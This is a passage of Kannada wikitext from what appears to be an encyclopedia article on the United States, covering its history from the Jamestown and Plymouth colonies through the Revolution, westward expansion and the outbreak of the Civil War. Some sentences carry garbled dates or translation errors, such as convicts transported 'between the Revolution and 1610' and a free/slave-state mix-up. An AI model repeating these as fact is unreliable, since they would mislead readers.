ವಸಾಹತುಗಳೆಂದರೆ, 1607ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ [[ಜೆಮ್ಸ್‌ಟವನ್,ವರ್ಜಿನಿಯಾ|ಜೇಮ್ಸ್‌ಟೌನ್]] ನಲ್ಲಿನ [[ವರ್ಜಿನಿಯಾದ ಕಾಲೋನಿ|ವರ್ಜೀನಿಯಾ ಕಾಲೊನಿ]] ಮತ್ತು 1620ರಲ್ಲಿ ಸ್ಥಾಪನೆಗೊಂಡ [[ಯಾತ್ರಿಕ|ಪಿಲ್‌ಗ್ರಿಮ್ಸ್‌]] [[ಪ್ಲೈಮೌತ್ ಕಾಲೊನಿ]]. 1628ರಲ್ಲಿ [[ಮ್ಯಸ್ಸಚುಸೆಟ್ಸ್ ಕೊಲ್ಲಿ ಕಾಲೊನಿ|ಮಸಾಚುಯೆಟ್ಸ್ ಬೇ ಕಾಲೊನಿ]]ಯ ಸನದು ವಲಸೆಗಾರರ ಮಹಾಪೂರಕ್ಕೆ ಕಾರಣವಾಯಿತು; 1634ರ ವೇಳೆಗೆ ಕೆಲವು 10,000 [[ಅತಿ ಸಂಪ್ರದಾಯಸ್ಥ|ಪ್ಯುರಿಟನ್ನರಿಂದ]] [[ಹೊಸ ಇಂಗ್ಲೆಂಡ್|ಹೊಸ ಇಂಗ್ಲೆಂಡ್‌]] ನೆಲೆಗೊಂಡಿತು.ಅಮೆರಿಕನ್ ಕ್ರಾಂತಿ ಮತ್ತು 1610ರ ಮಧ್ಯೆ ಸುಮಾರು 50,000 ಅಪರಾಧಿಗಳು ಬ್ರಿಟನ್‌ನ ಅಮೆರಿಕನ್ ಕಾಲೊನಿಗೆ ಸ್ಥಳಾಂತರಗೊಂಡರು.<ref>{{cite web|work=Butler, James Davie|url=http://www.dinsdoc.com/butler-1.htm|title=British Convicts Shipped to American Colonies|publisher=Smithsonian Institution, National Museum of Natural History|work=American Historical Review 2|month=October|year=1896|accessdate=2007-06-21}}</ref>1614ರ ಪ್ರಾರಂಭದಲ್ಲಿ [[ಹಡ್‌ಸನ್ ನದಿ|ಹಡ್ಸನ್ ನದಿ]]ಯ ಕೆಳಪಾತ್ರದಲ್ಲಿ ಡಚ್ಚರು ತಮ್ಮ ವಸಾಹತನ್ನು ಸ್ಥಾಪಿಸಿಕೊಂಡರು. ಜೊತೆಗೆ [[ಮ್ಯಾನ್ಹಟ್ಟನ್|ಮ್ಯಾನ್ಹಟನ್ ದ್ವೀಪ]]ದಲ್ಲಿ [[ಹೊಸ ಆಮ್‌ಸ್ಟರ್‌ಡ್ಯಾಂ|ನ್ಯೂ ಆಮ್‌ಸ್ಟರ್ಡಾಮ್]] ನ್ನು ಕೂಡಾ ಸ್ಥಾಪಿಸಿತು. 1674ರಲ್ಲಿ ಇಂಗ್ಲೆಂಡ್‌ಗೆ ತನ್ನ ವಶದಲ್ಲಿದ ಅಮೆರಿಕಾ ಆಡಳಿತವನ್ನು ಬಿಟ್ಟುಕೊಟ್ಟಿತು ಮತ್ತು [[ಹೊಸ ನೆದರ್‍ಲ್ಯಾಂಡ್|ನ್ಯೂ ನೆದರ್‌ಲ್ಯಾಂಡ್]] ಪ್ರದೇಶವನ್ನು ನ್ಯೂಯಾರ್ಕ್ ಎಂದು ಹೊಸದಾಗಿ ಹೆಸರಿಸಿತು.1630 ಮತ್ತು 1680ರ ಮಧ್ಯೆ [[ದಕ್ಷಿಣದ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಇತಿಹಾಸ|ದಕ್ಷಿಣದ]] ಕಡೆ ವಲಸೆ ಬಂದ ಮೂರರಲ್ಲಿ ಎರಡು ಭಾಗದ ವರ್ಜೀನಿಯಾ ವಲಸೆಗಾರರು [[ಕರಾರು ಕೂಲಿ]]ಗಳಾಗಿದ್ದರು.<ref>ರಸ್ಸೆಲ್, ಡೇವಿಡ್ ಲೀ (2005). ''ದಿ ಅಮೆರಿಕನ್ ರಿವೊಲ್ಯುಶನ್ ಇನ್ ದಿ ಸೌಥರ್ನ್ ಕಾಲೊನೀಸ್.'' ಜೆಫರ್ಸನ್, ಎನ್.ಸಿ.,ಅಂಡ್ ಲಂಡನ್: ಮೆಕ್‌ಫಾರ್ಲ್ಯಾಂಡ್, ಪಿ.12.ISBN 0-7864-0783-2.</ref>ಶತಮಾನ ಕಳೆಯುವ ಹೊತ್ತಿಗೆ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ವಸಾಹತಿನಲ್ಲಿ ಗುಲಾಮಗಿರಿ|ಆಫ್ರಿಕನ್ ಗುಲಾಮರು]], ಜೀತದ ಕೆಲಸಕ್ಕೆ ಅತ್ಯಗತ್ಯವಾದರು. [[ಕರೊಲಿನ್ಸ್|ಕೆರೋಲಿನಾ]]ಗಳ 1729ರ ವಿಭಜನೆ ಹಾಗೂ 1732ರ [[ಜಾರ್ಜಿಯಾ (ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಜ್ಯ)|ಜಾರ್ಜಿಯಾ]] ವಸಾಹತೀಕರಣಗಳೊಂದಿಗೆ ಹದಿಮೂರು ಬ್ರಿಟಿಷ ವಸಾಹತುಗಳು ಸೇರಿ ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸ್ಥಾಪನೆಯಾಯಿತು.[[ಆಂಗ್ಲರ ಹಕ್ಕುಗಳು|ಆಂಗ್ಲರ ಪುರಾತನ ಹಕ್ಕು]]ಗಳೆಡೆಗೆ ಹೆಚ್ಚುತ್ತಿದ್ದ ಆರಾಧನಾಭಾವ ಮತ್ತು [[ಗಣರಾಜ್ಯವಾದ|ಗಣರಾಜ್ಯತ್ವ]]ಕ್ಕೆ ಇಂಬುಕೊಡುವ ಸ್ವ-ಸರ್ಕಾರದ ಬಗೆಗಿನ ಅರಿವಿನಿಂದಾಗಿ ಪ್ರತಿಯೊಂದೂ ಮುಕ್ತ ಚುನಾವಣೆಗಳ ಮೂಲಕ ಆಯ್ಕೆಗೊಂಡ ಸ್ಥಳೀಯ ಸರ್ಕಾರಗಳನ್ನು ಹೊಂದಿದ್ದವು. [[ಆಫ್ರಿಕದ ಜೀತದಾಳುಗಳ ವ್ಯಾಪಾರ|ಅಫಿಕನ್ ಗುಲಾಮರ ಮಾರಾಟ]]ವನ್ನು ಎಲ್ಲವೂ ಕಾನೂನು ಮಾನ್ಯ ಮಾಡಿದ್ದವು.ಅತೀ ಹೆಚ್ಚಿನ ಜನನ ಪ್ರಮಾಣ, ಕಡಿಮೆ ಮರಣ ಪ್ರಮಾಣ ಮತ್ತು ವಲಸೆಯ ಮುಂದುವರಿಕೆಯಿಂದಾಗಿ ವಸಾಹತಿನ ಜನಸಂಖ್ಯೆಯು ಏರುಗತಿಯಲ್ಲಿ ಬೆಳವಣಿಗೆಯನ್ನು ಕಂಡಿತು. 1730 ಮತ್ತು 1740ರ [[ಕ್ರಿಶ್ಚಿಯನ್ ಪುನಶ್ಚೇತನ|ಕ್ರಿಶ್ಚಿಯನ್ ಪುನರ್ಸ್ಥಾಪನೆ]]ಯ ಚಳುವಳಿಯು [[ಮೊದಲ ಮಹಾಜಾಗೃತಿ|ಗ್ರೇಟ್ ಅವೇಕನಿಂಗ್]] ಎಂದು ಹೆಸರಾಯಿತು ಮತ್ತು ಇದು ಧರ್ಮ ಮತ್ತು ಧಾರ್ಮಿಕತೆ ಎರಡರ ಬಗ್ಗೆಯೂ ಆಸಕ್ತಿಯನ್ನು ಬೆಳೆಸುವುದಕ್ಕೆ ನಾಂದಿಯಾಯಿತು.[[ಪ್ರೆಂಚ್ ಮತ್ತು ಭಾರತೀಯ ಯುದ್ಧ|ಫ್ರೆಂಚ್ ಮತ್ತು ಇಂಡಿಯನ್ ಯುದ್ಧ]]ದಲ್ಲಿ ಬ್ರಿಟಿಷ್ ಪಡೆಗಳು ಫ್ರೆಂಚರಿಂದ ಕೆನಡಾವನ್ನು ವಶಪಡಿಸಿಕೊಂಡವು. ಆದರೆ [[ಫ್ರಾಂಕೋಫೋನ್]] ಜನರು ದಕ್ಷಿಣದ ವಸಾಹತಿನಿಂದ ರಾಜಕೀಯವಾಗಿ ದೂರವೇ ಉಳಿದರು. ಸ್ಥಳಾಂತರಗೊಂಡ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸ್ಥಳೀಯ ಅಮೆರಿಕನ್ನರು|ಮೂಲ ಅಮೆರಿಕನ್ನ]]ರನ್ನು ಹೊರತುಪಡಿಸಿ (ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್ ಎಂದು ಜನಪ್ರಿಯವಾದ) ಆ ಹದಿಮೂರು ವಸಾಹತಿನ ಜನಸಂಖ್ಯೆಯು 1770ರಲ್ಲಿ 2.6 ಮಿಲಿಯನ್‌ ಆಗಿತ್ತು. ಸುಮಾರು ಮೂರರಲ್ಲಿ ಒಂದು ಭಾಗ ಬ್ರಿಟನ್ನರು ಮತ್ತು ಐದರಲ್ಲಿ ಒಂದು ಭಾಗ ಅಮೆರಿಕದ ಕಪ್ಪು ಗುಲಾಮರಾಗಿದ್ದರು.<ref> ಬ್ಲ್ಯಾಕ್‌ಬರ್ನ್, ರಾಬಿನ್ (1998).''ದಿ ಮೇಕಿಂಗ್ ಆಫ್ ನ್ಯೂ ವರ್ಲ್ಡ್ ಸ್ಲ್ಯಾವೆರಿ: ಫ್ರಂ ದಿ ಬರೋಕ್ ಟು ದಿ ಮಾಡರ್ನ್, 1492–1800'' . ಲಂಡನ್ ಅಂಡ್ ನ್ಯೂಯಾರ್ಕ್: ವೆರ್ಸೋ, p. 460. ISBN 1-85984-195-3.</ref>[[ಪ್ರಾತಿನಿಧ್ಯವಿಲ್ಲದೆ ತೆರಿಗೆಯಿಲ್ಲ|ಬ್ರಿಟಿಷ್ ಕಂದಾಯಕ್ಕೆ ಒಳಗಾಗಿದ್ದರೂ ಕೂಡ]] ಅಮೆರಿಕನ್ ಕಾಲೋನಿಗಳು [[ಗ್ರೇಟ್ ಬ್ರಿಟನ್‌ನ ಸಂಸತ್ತು|ಗ್ರೇಟ್ ಬ್ರಿಟನ್ನಿನ ಸಂಸತ್ತಿನಲ್ಲಿ]]ಪ್ರಾತಿನಿಧ್ಯವನ್ನು ಹೊಂದಿರಲಿಲ್ಲ. === ಸ್ವಾತಂತ್ರ್ಯ ಮತ್ತು ವಿಸ್ತರಣೆ === {{seealso|American Revolution|American Revolutionary War|Manifest Destiny}} [[ಚಿತ್ರ:Declaration of Independence (1819), by John Trumbull.jpg|thumb|ಜಾನ್ ಟ್ರುಮ್‍ಬುಲ್‌ನಿಂದ ಯುನೈಟೆ‌ಡ್ ಸ್ಟೇಟ್ಸ್‌ನ ಸ್ವಾತಂತ್ರ್ಯ ಘೋಷಣೆ,1817–18]] 1760 ಮತ್ತು 1770ರ ಅಮೆರಿಕಾ ವಸಾಹತು ಮತ್ತು ಬ್ರಿಟಿಷರ ಮಧ್ಯದ [[ಅಮೆರಿಕದ ಕ್ರಾಂತಿ|ಕ್ರಾಂತಿಯ ಅವಧಿ]]ಯಲ್ಲಿನ ತಿಕ್ಕಾಟವು ನಂತರ 1775 ರಿಂದ 1781ರವರೆಗಿನ [[ಅಮೆರಿಕದ ಕ್ರಾಂತಿ ಸಮರ]]ಕ್ಕೆ ಕಾರಣವಾಯಿತು.ಜೂನ್ 4, 1775ರಂದು [[ಫಿಲಡೆಲ್ಫಿಯಾಾ|ಫಿಲಡೆಲ್ಫಿಯಾ]]ದಲ್ಲಿ ಸಂಧಿಸಿದ [[ಎರಡನೆ ಭೂಖಂಡದ ಸಮ್ಮೇಳನ|ಕಾಂಟಿನೆಂಟಲ್ ಕಾಂಗ್ರೆಸ್]], [[ಜಾರ್ಜ್ ವಾಷಿಂಗ್ಟನ್|ಜಾರ್ಜ್ ವಾಶಿಂಗ್ಟನ್]] ನೇತೃತ್ವದಲ್ಲಿ [[ಒಂಡಬಡಿಕೆಯ ಸೈನ್ಯ|ಕಾಂಟಿನೆಂಟಲ್ ಆರ್ಮಿ]]ಯನ್ನು ಹುಟ್ಟುಹಾಕಿತು.[[ಎಲ್ಲಾ ಮನುಷ್ಯರನ್ನು ಸಮಾನವಾಗಿ ಸೃಷ್ಟಿಸಲಾಗಿದೆ|"ಎಲ್ಲ ಮನುಷ್ಯರೂ ಸಮಾನರು"]]ಎಂದು ಘೋಷಿಸುವ [[ಸ್ವಾಭಾವಿಕವಾದ ಮತ್ತು ಕಾನೂನುಬದ್ಧ ಹಕ್ಕುಗಳು|ನಿರ್ದಿಷ್ಟ ಪರಕೀಯವಲ್ಲದ ಹಕ್ಕು]]ಗಳನ್ನು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸ್ವಾತಂತ್ರ್ಯ ಘೋಷಣೆ|ಸ್ವಾತಂತ್ರ್ಯ ಘೋಷಣೆ]]ಯಲ್ಲಿ ಸ್ವೀಕರಿಸಿತು. ಈ ಕರಡನ್ನು ಜುಲೈ 4, 1776ರಲ್ಲಿ [[ಥಾಮಸ್ ಜೆಫರ್‌ಸನ್]] ಸಿದ್ಧಪಡಿಸಿದರು. ಈ ದಿನವನ್ನು ಈಗ ಪ್ರತೀವರ್ಷವೂ ಅಮೆರಿಕದ [[ಸ್ವಾತಂತ್ರ ದಿನಾಚರಣೆ (ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ)|ಸ್ವಾತಂತ್ರ್ಯ ದಿನ]] ಎಂದು ಆಚರಿಸಲಾಗುತ್ತಿದೆ. ಕ್ಷೀಣ ಸಾಮರ್ಥ್ಯದ ಫೆಡರಲ್ ಸರ್ಕಾರವನ್ನು 1777ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ [[ರಾಷ್ಟ್ರಗಳ ಒಕ್ಕೂಟದ ಅಧಿನಿಯಮಗಳು|ಆರ್ಟಿಕಲ್ಸ್ ಆಫ್ ಕಾನ್ಫೆಡರೇಶನ್]] 1789ರವರೆಗೂ ನಡೆಸಿತು. [[ಅಮೆರಿಕದ ಕ್ರಾಂತಿಕಾರಿ ಯುದ್ಧದಲ್ಲಿ ಫ್ರಾನ್ಸ್‌|ಫ್ರೆಂಚ್‌ನ ಸಹಯೋಗ]]ದಲ್ಲಿ ಅಮೆರಿಕಾದ ಪಡೆಗಳು [[ಯಾರ್ಕ್‌ಟೌನ್‌ನ ಮುತ್ತಿಗೆ|ಬ್ರಿಟಿಷರನ್ನು ಸೋಲಿಸಿದ]] ನಂತರ, ಗ್ರೇಟ್ ಬ್ರಿಟನ್ [[ಪ್ಯಾರಿಸ್ ಒಪ್ಪಂದ (1783)|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸ್ವಾತಂತ್ರ್ಯವನ್ನು ಮನಗಂಡಿತು]] ಮತ್ತು [[ಮಿಸ್ಸಿಸ್ಸಿಪ್ಪಿ ನದಿ|ಮಿಸ್ಸಿಸಿಪ್ಪಿ ನದಿ]]ಯ ಪಶ್ಚಿಮಕ್ಕೆ ಅಮೆರಿಕಾದ ಆಡಳಿತವು [[ಸಾರ್ವಭೌಮತ್ವ|ಸ್ವಾಯತ್ತತೆ]]ಯನ್ನು ಪಡೆಯಿತು. ಕಂದಾಯದ ಅಧಿಕಾರದಿಂದ ಸಬಲ ರಾಷ್ಟ್ರೀಯ ಸರ್ಕಾರವನ್ನು ಸ್ಥಾಪಿಸಲು ಬಯಸಿದವರು 1787ರಲ್ಲಿ ಒಂದು [[ಫಿಲಡೆಲ್ಫಿಯಾಾ ಸಮ್ಮೇಳನ|ಸಾಂವಿಧಾನಿಕ ಸಮ್ಮೇಳನ]]ವನ್ನು ಆಯೋಜಿಸಿದ್ದರು. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಂವಿಧಾನ]]ವು 1788ರಲ್ಲಿ ಅಧಿಕೃತವಾಯಿತು. ಮತ್ತು [[1ನೇ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸಮ್ಮೇಳನ|ಗಣರಾಜ್ಯದ ಮೊದಲ ಶಾಸನಸಭೆ]], ಸದಸ್ಯರುಗಳ ಒಕ್ಕೂಟ ಸ್ಥಾಪನೆಯಾಯಿತು ಮತ್ತು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಅಧ್ಯಕ್ಷ|ಅಧ್ಯಕ್ಷ]] ಜಾರ್ಜ್ ವಾಶಿಂಗ್ಟನ್ 1789ರಲ್ಲಿ ಅಧಿಕಾರ ಸ್ವೀಕರಿಸಿದರು. ವೈಯಕ್ತಿಕ ಸ್ವಾತಂತ್ರ್ಯಕ್ಕೆ ಅಡ್ಡಿಪಡಿಸುವ ನಿರ್ಬಂಧಗಳನ್ನು ತೆಗೆದುಹಾಕುವ ಮತ್ತು ಕಾನೂನು ರಕ್ಷಣೆ ಒದಗಿಸುವ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಹಕ್ಕು ಮಸೂದೆ|ಹಕ್ಕುಗಳ ಮಸೂದೆ]]ಯು ಅಂಗೀಕೃತಗೊಂಡು, 1791ರಲ್ಲಿ ಜಾರಿಗೊಂಡಿತು. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಗುಲಾಮಗಿರಿ|ಗುಲಾಮೀಪದ್ಧತಿ]]ಯೆಡೆಗೆ ಒಲವು ಹೆಚ್ಚುತ್ತಲೇ ಇತ್ತು; [[: ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸಂವಿಧಾನದ ಅನುಚ್ಚೇದ ಒಂದು # ಕಲಂ 9 : ಸೀಮಿತ ಸಮ್ಮೇಳನ.|ಸಂವಿಧಾನದ ಒಂದು ನಿಯಮ]]ವು ಆಫ್ರಿಕನ್ ಗುಲಾಮೀ ಮಾರಾಟವನ್ನು 1808ರ ವರೆಗೆ ಮಾತ್ರ ರಕ್ಷಿಸಿತು.1780 ಮತ್ತು 1804ರ ಮಧ್ಯೆ ಉತ್ತರದ ರಾಜ್ಯಗಳು ಗುಲಾಮಗಿರಿಯನ್ನು ಕಿತ್ತುಹಾಕಿದವು. ತಮ್ಮ [[ವಿಲಕ್ಷಣ ಸಂಸ್ಥೆ|"ವಿಶಿಷ್ಟ ಸಮಾಜ"]]ವನ್ನು ಸಮರ್ಥಿಸಿಕೊಳ್ಳುವ ದಕ್ಷಿಣದ [[ಗುಲಾಮ ರಾಜ್ಯ|ಗುಲಾಮೀ ರಾಜ್ಯಗಳು]] ಇನ್ನೂ ಗುಲಾಮಗಿರಿಯನ್ನು ಅಪ್ಪಿಕೊಂಡಿದ್ದವು.[[ಎರಡನೆ ಮಹಾ ಜಾಗೃತಿ|ಎರಡನೇ ಮಹಾ ಜಾಗೃತಿ (great awakening)]] 1800ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಯಿತು. ಇದು ಸಾಮಾಜಿಕ [[ಸುಧಾರಣ ಚಳುವಳಿ|ಸುಧಾರಣಾ ಚಳುವಳಿ]]ಯ ಹಿನ್ನೆಲೆಯಾಗಿ [[ನಿರ್ಮೂಲನ|ನಿರ್ಮೂಲನಾ ಚಳವಳಿ]]ಯೊಂದಿಗೆ [[ಇವಾಂಗೆಲಿಕಲಿಸಂ|ಕ್ರಿಸ್ತೀಕರಣಕ್ಕೆ (evangelicalism)]] ನಾಂದಿಯಾಯಿತು. [[ಚಿತ್ರ:U.S. Territorial Acquisitions.png|right|thumb|ದಿನಾಂಕಾನುಸಾರ ವಸಾಹತು ಪ್ರಾಪ್ತಿ]] ಅಮೆರಿಕನ್ನರ ಮಹಾತ್ವಾಕಾಂಕ್ಷೆಯು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ವಸಾಹತು ಪ್ರಾಪ್ತಿ|ಪಶ್ಚಿಮದೆಡೆ ವಿಸ್ತರಿಸಿದುದು]] [[ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್ ಯುದ್ಧ|ಇಂಡಿಯನ್ ಸಮರ]]ದ ಸರಣಿಗೆ ಕಾರಣವಾಯಿತು. ಮತ್ತು [[ಇಂಡಿಯನ್ನರ ತೊಲಗಿಸುವಿಕೆ|ಇಂಡಿಯನ್ ಸ್ಥಳಾಂತರ]] ಕಾನೂನು ಮೂಲ ಸ್ಥಳೀಯರನ್ನು ತಮ್ಮ ಸ್ವಂತ ನೆಲದಿಂದ ಸ್ಥಳಾಂತರಗೊಳಿಸುವುದಕ್ಕೆ ಕಾರಣವಾಯಿತು. ಅಧ್ಯಕ್ಷ ಥಾಮಸ್ ಜೆಫರ್‌ಸನ್ ಅವರು 1803ರಲ್ಲಿ ಫ್ರೆಂಚ್ ಆಡಳಿತದಲ್ಲಿದ್ದ ಭಾಗಗಳನ್ನು [[ಲುಯಿಸಿಯಾನಾ ಖರೀದಿ]]ಯ ಮೂಲಕ ಖರೀದಿಸಿದ್ದು ದೇಶದ ಗಾತ್ರವನ್ನು ಸುಮಾರು ಎರಡರಷ್ಟಾಗಿಸಿತು. ಹಲವು ಕಾರಣಗಳಿಂದಾಗಿ ಬ್ರಿಟನ್ ವಿರುದ್ಧ ಘೋಷಿಸಿದ [[1812ರ ಯುದ್ಧ]]ವು ಯು.ಎಸ್. [[ರಾಷ್ಟ್ರೀಯತೆ]]ಯನ್ನು ಮತ್ತಷ್ಟು ಬಲಗೊಳಿಸಿತು. ಫ್ಲೊರಿಡಾ ಮೇಲಿನ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸರಣಿ ದಾಳಿಯಿಂದಾಗಿ [[ಅಡ್ಯಮ್ಸ್‌- ಒನಿಸ್ ಒಪ್ಪಂದ|ಸ್ಪೇನ್ ಅದನ್ನು ಬಿಟ್ಟುಕೊಡಬೇಕಾಗಿ]] ಬಂತು ಮತ್ತು ಇತರ ಕೊಲ್ಲಿ ತೀರದ ಪ್ರಾಂತ್ಯಗಳನ್ನು ಕೂಡಾ 1819ರಲ್ಲಿ ಬಿಟ್ಟುಕೊಟ್ಟಿತು. ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು [[ಟೆಕ್ಸಸ್ ಗಣರಾಜ್ಯ|ಟೆಕ್ಸಾಸ್ ಗಣರಾಜ್ಯ]]ವನ್ನು 1845ರಲ್ಲಿ ವಶಪಡಿಸಿಕೊಂಡಿತು.ಈ ಸಮಯದಲ್ಲಿ [[ಮೆನಿಫೆಸ್ಟ್ ಡೆಸ್ಟಿನಿ|ಮ್ಯಾನಿಫೆಸ್ಟ್ ಡೆಸ್ಟಿನಿ]] ಪರಿಕಲ್ಪನೆಯು ಜನಪ್ರಿಯವಾಯಿತು.<ref>ಮೊರಿಸನ್, ಮೈಕೆಲ್ ಏ. (1999). ''ಸ್ಲ್ಯಾವೆರಿ ಅಂಡ್ ದಿ ಅಮೆರಿಕನ್ ವೆಸ್ಟ್: ದಿ ಎಕ್ಲಿಪ್ಸ್ ಆಫ್ ಮ್ಯಾನಿಫೆಸ್ಟ್ ಡೆಸ್ಟಿನಿ ಅಂಡ್ ದಿ ಕಮಿಂಗ್ ಆಫ್ ದಿ ಸಿವಿಲ್ ವಾರ್'' ಚ್ಯಾಪೆಲ್ ಹಿಲ್: ಯುನಿವರ್ಸಿಟಿ ಆಫ್ ನಾರ್ಥ್ ಕೆರೊಲಿನಾ ಪ್ರೆಸ್, pp. 13–21.ISBN 0-8078-4796-8.</ref> 1846ರ ಬ್ರಿಟನ್ ಜೊತೆಗಿನ [[ಓರೆಗಾನ್ ಒಪ್ಪಂದ]]ವು [[ವಾಯುವ್ಯ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಅಮೆರಿಕದ ಈಗಿನ ವಾಯವ್ಯ]] ಪ್ರಾಂತ್ಯದ ಮೇಲೆ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಸ್ವಾಧೀನತೆಯನ್ನು ಸಾಧಿಸಿತು. 1848ರ [[ಮೆಕ್ಸಿಕನ್ - ಅಮೆರಿಕನ್ ಯುದ್ಧ|ಮೆಕ್ಸಿಕನ್-ಅಮೆರಿಕನ್]] ಸಮರದಲ್ಲಿ [[ಕ್ಯಾಲಿಫೊರ್ನಿಯಾ|ಕ್ಯಾಲಿಫೋರ್ನಿಯ]]ವು [[ಮೆಕ್ಸಿಕೊ ಸ್ವಾಧೀನ|ಸೋಲೊಪ್ಪಿಕೊಂಡಿತು]] ಮತ್ತು ಈಗಿನ [[ನೈರುತ್ಯ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಅಮೆರಿಕದ ನೈರುತ್ಯ]] ಭಾಗಗಳು ವಶವಾದವು. 1848-49ರ [[ಕ್ಯಾಲಿಫೊರ್ನಿಯಾ ಗೋಲ್ಡ್ ರಷ್|ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ ಗೋಲ್ಡ್ ರಶ್‌]]ನಿಂದಾಗಿ ಪಶ್ಚಿಮದ ವಲಸೆಗೆ ಉತ್ತೇಜನ ಸಿಕ್ಕಿತು.[[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ರೈಲು ಸಾರಿಗೆ # ಇತಿಹಾಸ|ಹೊಸ ರೈಲು ಮಾರ್ಗ]]ದ ಸ್ಥಾಪನೆಯಿಂದಾಗಿ ವಲಸಿಗರಿಗೆ ಸ್ಥಳಾಂತರಗೊಳ್ಳಲು ಸುಲಭವಾಯಿತು ಮತ್ತು ಸ್ಥಳೀಯ ಅಮೆರಿಕನ್ನರ ಜೊತೆ ಸಂಘರ್ಷಗಳೂ ಜಾಸ್ತಿಯಾದವು.ಸರಿಸುಮಾರು ಅರ್ಧ ಶತಮಾನಗಳ ಕಾಲ ಚರ್ಮ, ಮಾಂಸ ಹಾಗೂ ರೇಲ್ವೇ ವಿಸ್ತರಣೆಯ ಕಾರಣಗಳಿಗಾಗಿ 40ಮಿಲಿಯನ್‌ [[ಅಮೆರಿಕದ ಕಾಡೆಮ್ಮೆ|ಅಮೆರಿಕನ್ ಕಾಡೆಮ್ಮೆ]] ಹಾಗೂ ಕಾಡುಕೋಣಗಳು ಹತವಾದವು. [[ಭಾರತೀಯ ಮೈದಾನಗಳು|ಇಂಡಿಯನ್ನರ]] ಪ್ರಾಥಮಿಕ ಸಂಪನ್ಮೂಲವಾಗಿದ್ದ ಕೋಣಗಳ ವಿನಾಶವು ಹಲವು ಬುಡಕಟ್ಟು ಸಂಸ್ಕೃತಿಗಳಲ್ಲಿ ಬಿರುಗಾಳಿಯನ್ನೇ ಎಬ್ಬಿಸಿದವು. === ಆಂತರಿಕ ಯುದ್ಧ ಮತ್ತು ಔದ್ಯಮೀಕರಣ === {{seealso|American Civil War|Reconstruction era of the United States|Spanish-American War}} [[ಚಿತ್ರ:Battle of Gettysburg, by Currier and Ives.png|thumb|left| ಗೆಟ್ಯುಸ್‌ಬ‌ರ್ಗ್ ಯುದ್ಧ, ಕುರಿಯರ್ & ಇವೆಸ್‌ರಿಂದ ಶಿಲಾಮುದ್ರಣ1863]] [[ಗುಲಾಮ ರಾಜ್ಯ|ಮುಕ್ತ ರಾಜ್ಯ]]ಗಳು ಮತ್ತು ಕೂಲಿಗಳ ಮಧ್ಯದ [[ಅಮೆರಿಕದ ಸಿವಿಲ್ ಯುದ್ಧದ ಮೂಲಗಳು|ತಿಕ್ಕಾಟ]]ವು [[ರಾಜ್ಯಗಳ ಹಕ್ಕು|ರಾಜ್ಯ ಮತ್ತು ಫೆಡರಲ್ ಸರ್ಕಾರ]]ದ ಮಧ್ಯದ ವಾದಗಳನ್ನು ಆಧರಿಸಿದೆ. ಹಾಗೇ ಕೂಲಿಯ [[ರಕ್ತ ಹರಿಯುವ ಕ್ಯಾನ್ಸ್‌ಸ್|ದ್ವೇಷಯುತ ತಿಕ್ಕಾಟ]]ವು ರಾಜ್ಯಾದ್ಯಂತ ಹರಡುವುದಕ್ಕೂ ಕಾರಣವಾಯಿತು. ಗುಲಾಮಗಿರಿ ವ್ಯವಸ್ಥೆಯ ವಿರೋಧಿ [[ರಿಪಬ್ಲಿಕನ್ ಪಕ್ಷ(ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ)|ರಿಪಬ್ಲಿಕನ್ ಪಕ್ಷ]]ದ ಅಭ್ಯರ್ಥಿ [[ಅಬ್ರಹಮ್ ಲಿಂಕನ್|ಅಬ್ರಹಾಂ ಲಿಂಕನ್]] 1860ರಲ್ಲಿ ಅಧ್ಯಕ್ಷನಾಗಿ ಆಯ್ಕೆಯಾದರು. ಅಧ್ಯಕ್ಷ ಅಬ್ರಹಾಂ ಲಿಂಕನ್ ಅಧಿಕಾರ ತೆಗೆದುಕೊಳ್ಳುವ ಮೊದಲು ಏಳು ಗುಲಾಮ ರಾಜ್ಯಗಳು ತಮ್ಮ [[ಬೇರ್ಪಡೆ|ವಿಯೋಜನೆ]]ಯನ್ನು ಘೋಷಿಸಿದವು. ಇವುಗಳನ್ನು [[ಅಮೆರಿಕದ ಬೆಂಬಲಿಗ ರಾಜ್ಯಗಳು|ಅಮೆರಿಕದ ಒಕ್ಕೂಟ ರಾಜ್ಯಗಳು]] ಮತ್ತು ಫೆಡರಲ್ ಸರ್ಕಾರವು ಅಕ್ರಮವಾಗಿ ನಿಭಾಯಿಸುತ್ತಿದ್ದವು. [[ಫೊರ್ಟ್ ಸಮರ ರಣಾಂಗಣ|ಫೋರ್ಟ್ ಸಮ್ಟರ್‌ನ ಮೇಲೆ ಕಾನ್ಫ್ಹೆಡರೇಟ್‌ನ ದಾಳಿ]]ಯೊಂದಿಗೆ ಅಮೆರಿಕದ ಆಂತರಿಕ ಯುದ್ಧವು ಪ್ರಾರಂಭವಾಯಿತು ಮತ್ತು ನಾಲ್ಕು ಗುಲಾಮ 